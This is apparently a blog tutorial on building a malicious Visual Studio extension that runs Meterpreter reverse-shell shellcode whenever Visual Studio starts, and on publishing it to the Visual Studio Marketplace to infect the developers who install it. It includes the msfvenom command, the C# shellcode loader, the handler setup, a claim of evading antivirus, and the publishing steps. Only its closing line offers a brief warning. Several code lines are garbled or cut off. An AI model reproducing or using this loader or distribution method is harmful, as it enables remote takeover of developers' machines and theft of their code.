Meterpreter, one of the best helper tools without doubt. Almost we can’t imagine a security test without it. We need a strong malicious code like “meterpreter” at all out tests, works, researches. Pivoting modules, small size and stability makes meterpreter one of the strongest tools. Meterpreter’s power increases when used with a good distribute technique at windows operating systems. If our malicious code can’t send to target system through exploit and we use it as backdoor, distributing technique as important as developing code.
Using MSFVenom we can create meterpreter for different types and platforms. In this article we focus on two main subjects.
- Creating malicious add-in for visual studio.
- Distributing malicious add-in through Visual Studio Marketplace.
Creating Malicious Visual Studio Add-in
I needed a malware that integrate with Visual Studio and execute automatically when it starts. So I decided to write a Visual Studio add-in and put malicious code in it.
To do that, click “Create New Project -> Extensibility -> VSIX Project”.
If you can’t find it, you must install the SDK. For install SDK, open Visual Studio Installer then enable “Visual Studio extension development”.
I created a project named VSIXPreter, after the creating project “index.html” and “stylesheet.css” will be created automatically. We do not need these files so delete them. After that, right click to project and click to Add\New Item -> Extensibility -> Custom Command. I named this file as “PreterCommand.cs”. In this file we will add meterpreter codes.
Before start coding we need to create shellcode of meterpreter using MSFVenom. Code must be C# compatible.
|msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.228.127 LPORT=4444 --platform windows -f csharp|
With above command we create a C# compatible shellcode for reverse_tcp connection to 192.168.22.127:4444.
set LHOST 192.168.228.127
set LPORT 4444
generate -p windows -t csharp
Additionally, we can create shellcode on MSFConsole. By both methods, we will get a C# compatible shell code. The point we need to look out for on both method parameters can change. For instance, “-p” parameter specifies payload on MSFVenom, but on MSFConsole it specifies platform.
For creating shellcode with MSFVenom and running shellcode on C#, you can look at my other blog posts at below.
To run shellcode, we need three functions. We declare these three functions as above. VirtualAlloc, allocates memory for our shellcode. CreateThread, creates thread and WaitForSingleObject, checks specified objects validity.
I declared a method named RunMeterpreter and this method takes IP and port as parameters. Implementation of method shown at below.
public static void RunMeterpreter(string ip, string port)
var ipOctetSplit = ip.Split('.');
byte octByte1 = Convert.ToByte(ipOctetSplit);
byte octByte2 = Convert.ToByte(ipOctetSplit);
byte octByte3 = Convert.ToByte(ipOctetSplit);
byte octByte4 = Convert.ToByte(ipOctetSplit);
int inputPort = Int32.Parse(port);
byte port1Byte = 0x00;
byte port2Byte = 0x00;
if (inputPort > 256)
int portOct1 = inputPort / 256;
int portOct2 = portOct1 * 256;
int portOct3 = inputPort - portOct2;
int portoct1Calc = portOct1 * 256 + portOct3;
if (inputPort == portoct1Calc)
port1Byte = Convert.ToByte(portOct1);
port2Byte = Convert.ToByte(portOct3);
port1Byte = 0x00;
port2Byte = Convert.ToByte(inputPort);
byte shellCodePacket = newbyte;
shellCodePacket = octByte1;
shellCodePacket = octByte2;
shellCodePacket = octByte3;
shellCodePacket = octByte4;
shellCodePacket = 0x68;
shellCodePacket = 0x02;
shellCodePacket = 0x00;
shellCodePacket = port1Byte;
shellCodePacket = port2Byte;
string shellCodeRaw = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/"+ "rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/"+ "6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/"+ "gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagVowKiLhmg"+
"CANkDieZQUFBQQFBAUGjqD9/"+ "g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB"+ "+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//"+
string s3 = Convert.ToBase64String(shellCodePacket);
string newShellCode = shellCodeRaw.Replace("wKiLhmgCANkD", s3);
byte shellCodeBase64 = Convert.FromBase64String(newShellCode);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellCodeBase64.Length, 0x1000, 0x40);
Marshal.Copy(shellCodeBase64, 0, (IntPtr)(funcAddr), shellCodeBase64.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
catch (Exception e)
I set a variable named shellCodeRaw to Base64 encode of meterpreter shellcode. After I calculate the IP address, port and offset values (newShellCode), put the Base64 encode of newShellCode to real shell code. With this way, every time I change my IP address instead of creating new shellcode I can change the parameters.
private void Execute(object sender, EventArgs e)
Task.Factory.StartNew(() => RunMeterpreter("192.168.228.127", "4444"));
So, we write the method that run meterpreter. To run that method, we write the code that shown at above in “PreterCommand.cs” files automatically created “Execute” method. With this code we create thread from Task class and call the RunMeterpreter method. Now our add-in ready, we can compile it and get the add-in.
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.228.127
set LPORT 4444
set ExitOnSession false
To handle incoming connection from meterpreter we start a multi/handler like above. Now we can install the add-in by running vsix (visual studio extension) file. Don’t forget to close Visual Studio if it’s not you can get an error.
When our project compile, compiler will create “VSIXPreter.dll” and “VSIXPreter.vsix” files. If you run VSIXPreter.vsix file, VSIX Installer appears and ask you want to install add-in or not, like above. We can click “Install” to install add-in to Visual Studio.
After installing complete we will see a screen like above, then we can get a meterpreter connection by clicking “Tools -> Run PreterCommand” in Visual Studio.
As you can see Run PeterCommand added to Tools menu, sends reverse shell to specified address every time it clicked. But there is problem, we can’t sure that user will click it. So that we must trigger automatically when Visual Studio starts. But before, let’s upload “VSIXPreter.vsix” file to VirusTotal and check the results.
And Bingo! 0/60. None of the anti-malware product can detect our malware. So, let’s examine malware on ProcessHacker.
The VSIXPreter.dll file we created was loaded by devenv.exe and the link was sent to port 4444 of the IP address 192.168.228.127. Now we need to be able to edit our code so that it runs whenever Visual Studio is opened.
[PackageRegistration(UseManagedResourcesOnly = true, AllowsBackgroundLoading = false)]
[InstalledProductRegistration("#110", "#112", "1.0", IconResourceID = 400)] // Info on this package for Help/About
[SuppressMessage("StyleCop.CSharp.DocumentationRules", "SA1650:ElementDocumentationMustBeSpelledCorrectly", Justification = "pkgdef, VS and vsixmanifest are valid VS terms")]
When “PreterCommand.cs” file created, “PreterCommandPackage.cs” file will be created. In this file we can assure malware run at startup by declaring parameter at above.
We must specify the case of autoload by ProvideAutoLoad. VSContants.UICONTEXT.NoSolution_string parameter is what we need.
Also, we can specify dozens of auto load cases. For example, any C# Projects opens, when code screen appears, when turn debug mode, when we drag something or when a background project loaded. There is one more step, we need to run the shellcode we defined in your Run Meterpreter method using Task every time Visual Studio is opened.
// Inside this method you can place any initialization code that does not require
// any Visual Studio service because at this point the package object is created but
// not sited yet inside Visual Studio environment. The place to do all the other
// initialization is the Initialize method.
Task.Factory.StartNew(() => PreterCommand.RunMeterpreter("192.168.228.127", "4444"));
We can use PreterCommandPackage method in PreterCommandPackage.cs file for this manner. Task that we declared in this method will create a new thread and thread will call the RunMeterpreter method. In this way we will get a shell and application will not freeze.
We have a Visual Studio add-in, but we need to distribute it. I preferred Visual Studio Marketplace for that purpose. We can send the malicious add-in to marketplace and wait to download. If we develop nice and eye-catching add-in, we increase probability of download. I have uploaded the application to marketplace for sample. I was curious about the app will be published or not, but I was not mistaken in my estimates, app published in 5 minutes.
To publishing and add-in on the store, we need an “Visual Studio Marketplace Publishing Portal” account. For this account we can use any Microsoft account.
Firstly, login at https://marketplace.visualstudio.com. At the main page we click “Publish extensions” to reach “Manage Publishers & Extensions” page. After that we need to create a publisher by clicking “Create Publisher” button.
You will a form like above. In the form your information that you give is very important because they must be to coincide with your applications Assemblies information. Otherwise you can’t upload your application.
We click to “New Extension -> Visual Studio” like screenshot above. Then marketplace will open a page and want to upload application.
Then we select the application and fill the form to upload to marketplace.
After uploading done, we will see our application in list. To make application available to everyone, right click to application and select “Make Public”. Application will be approved in 5 minutes, there is no malicious code check.
If any developer installs our add-in, every time Visual Studio starts, we get a Meterpreter shell.
To download our application, go to “Tools -> Extensions and Updates -> Online” and search for “vsixpreter”.
As you can see above, meterpreter connection started at process 31488 and send connection to 192.168.228.127 IP address.
Not every application at the marketplace is secure. Always check downloaded applications. Don’t forget there can be more bad scenarios (like stealing our source codes).